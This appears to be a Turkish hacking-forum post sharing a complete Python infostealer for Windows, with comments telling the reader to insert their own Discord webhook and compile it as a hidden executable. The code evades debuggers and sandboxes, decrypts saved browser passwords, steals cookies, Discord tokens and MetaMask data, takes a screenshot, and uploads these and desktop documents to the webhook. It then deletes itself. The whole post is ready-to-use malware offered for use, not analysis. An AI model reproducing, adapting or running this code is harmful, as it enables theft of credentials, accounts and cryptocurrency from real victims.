50
Mesajlar
2,795
Tcoin
Bronz
%45
Python:
# Gerekli paketler: pip install requests pywin32 pillow pynput psutil browser-cookie3 cryptography
# pyinstaller --onefile --noconsole --hidden-import=win32crypt --hidden-import=cryptography bu şekilde derle
import os
import json
import base64
import sqlite3
import shutil
import requests
import threading
import platform
import getpass
import socket
import uuid
import subprocess
import time
from datetime import datetime
from urllib.parse import urlparse
from PIL import ImageGrab
import win32crypt
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.backends import default_backend
import browser_cookie3
import psutil
WEBHOOK = "https://discord.com/api/webhooks/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" # BURAYA KENDİ WEBHOOK'UNU YAZ
def anti_analysis():
suspicious_processes = ["wireshark", "fiddler", "procmon", "ollydbg", "x64dbg", "ida", "ghidra", "processhacker"]
for proc in psutil.process_iter(['name']):
if proc.info['name'].lower() in suspicious_processes:
os._exit(1)
# Basit VM/ sandbox kontrolü
vm_indicators = ["vbox", "vmware", "qemu", "virtualbox", "microsoft hyper-v"]
sysinfo = platform.uname().node.lower() + platform.processor().lower()
if any(x in sysinfo for x in vm_indicators):
os._exit(1)
if os.path.exists("C:\\Windows\\System32\\drivers\\vmmouse.sys") or os.getenv("USERNAME") in ["sandbox", "malware", "virus"]:
os._exit(1)
def get_ip():
try:
return requests.get("https://api.ipify.org").text
except:
return "Unknown"
def get_system_info():
return {
"timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
"username": getpass.getuser(),
"hostname": socket.gethostname(),
"hwid": str(uuid.getnode()),
"ip": get_ip(),
"os": f"{platform.system()} {platform.release()} ({platform.version()})",
"processor": platform.processor(),
"ram": f"{round(psutil.virtual_memory().total / (1024**3), 2)} GB"
}
def send_to_discord(embed_data, files=None):
payload = {"embeds": [embed_data]}
try:
if files:
multipart = {'payload_json': json.dumps(payload)}
requests.post(WEBHOOK, data=multipart, files=files)
else:
requests.post(WEBHOOK, json=payload)
except:
pass
def steal_browser_data():
paths = {
"Chrome": os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Default"),
"Edge": os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data", "Default"),
"Brave": os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware", "Brave-Browser", "User Data", "Default"),
"Opera": os.path.join(os.environ["USERPROFILE"], "AppData", "Roaming", "Opera Software", "Opera Stable")
}
cookies, passwords, cc = [], [], []
for browser, path in paths.items():
if not os.path.exists(path):
continue
# Cookies (browser_cookie3 ile basit yol)
try:
cj = browser_cookie3.load(domain_name=".com", cookie_file=os.path.join(path, "Cookies"))
for cookie in cj:
cookies.append(f"{browser} | {cookie.domain} | {cookie.name} = {cookie.value}")
except:
pass
# Şifreler (Chrome/Edge/Brave benzer mantık)
login_db = os.path.join(path, "Login Data")
if os.path.exists(login_db):
temp_db = os.path.join(os.getenv("TEMP"), f"{browser}_logins.db")
shutil.copyfile(login_db, temp_db)
try:
conn = sqlite3.connect(temp_db)
cursor = conn.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
for row in cursor.fetchall():
url, user, enc_pass = row
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)[1].decode()
passwords.append(f"{browser} | {url} | {user} | {decrypted}")
except:
pass
conn.close()
except:
pass
finally:
try: os.remove(temp_db)
except: pass
return {
"cookies": "\n".join(cookies[:30]) if cookies else "None",
"passwords": "\n".join(passwords[:30]) if passwords else "None"
}
def steal_discord_tokens():
tokens = []
paths = [
os.path.join(os.getenv("APPDATA"), "discord", "Local Storage", "leveldb"),
os.path.join(os.getenv("APPDATA"), "discordcanary", "Local Storage", "leveldb"),
os.path.join(os.getenv("LOCALAPPDATA"), "Google", "Chrome", "User Data", "Default", "Local Extension Settings", "nkbihfbeogaeaoehlefnkodbefgpgknn") # MetaMask vs.
]
for path in paths:
if not os.path.exists(path):
continue
for file in os.listdir(path):
if file.endswith(".log") or file.endswith(".ldb"):
try:
with open(os.path.join(path, file), "r", errors="ignore") as f:
content = f.read()
for line in content.splitlines():
if "mfa." in line or len(line) in (59, 88):
if "token" in line.lower() or '"' in line:
tokens.append(line.strip('"'))
except:
pass
return list(set(tokens))[:10]
def take_screenshot():
path = os.path.join(os.getenv("TEMP"), "ss.png")
ImageGrab.grab().save(path)
return path
def main():
anti_analysis()
info = get_system_info()
browser_data = steal_browser_data()
discord_tokens = steal_discord_tokens()
ss_path = take_screenshot()
embed = {
"title": f"Victim: {info['username']}@{info['hostname']}",
"color": 0xFF0000,
"fields": [
{"name": "System Info", "value": f"```IP: {info['ip']}\nHWID: {info['hwid']}\nOS: {info['os']}\nRAM: {info['ram']}```", "inline": False},
{"name": "Browser Passwords", "value": f"```{(browser_data['passwords'][:1000] + '...') if len(browser_data['passwords']) > 1000 else browser_data['passwords']}```", "inline": False},
{"name": "Cookies (sample)", "value": f"```{(browser_data['cookies'][:1000] + '...') if len(browser_data['cookies']) > 1000 else browser_data['cookies']}```", "inline": False},
{"name": "Discord Tokens", "value": f"```{' | '.join(discord_tokens) if discord_tokens else 'None'}```", "inline": False}
],
"timestamp": info["timestamp"]
}
files = {"file": (os.path.basename(ss_path), open(ss_path, "rb"), "image/png")}
send_to_discord(embed, files)
# Ekstra dosya çalma örneği (masaüstü .txt dosyaları)
desktop = os.path.join(os.getenv("USERPROFILE"), "Desktop")
for file in os.listdir(desktop):
if file.endswith((".txt", ".docx", ".pdf")) and os.path.getsize(os.path.join(desktop, file)) < 2*1024*1024:
try:
with open(os.path.join(desktop, file), "rb") as f:
send_to_discord({"title": f"Stolen File: {file}"}, {"file": (file, f, "application/octet-stream")})
except:
pass
# Kendini sil (isteğe bağlı)
time.sleep(5)
try:
os.remove(ss_path)
bat = os.path.join(os.getenv("TEMP"), "clean.bat")
with open(bat, "w") as f:
f.write(f"@echo off\ntimeout 3\ndel /f /q \"{os.path.abspath(__file__)}\"\ndel /f /q %0")
subprocess.Popen(bat, creationflags=subprocess.DETACHED_PROCESS)
except:
pass
if __name__ == "__main__":
threading.Thread(target=main, daemon=True).start()
while True:
time.sleep(999999) # sonsuz döngü, exe kapanmasın
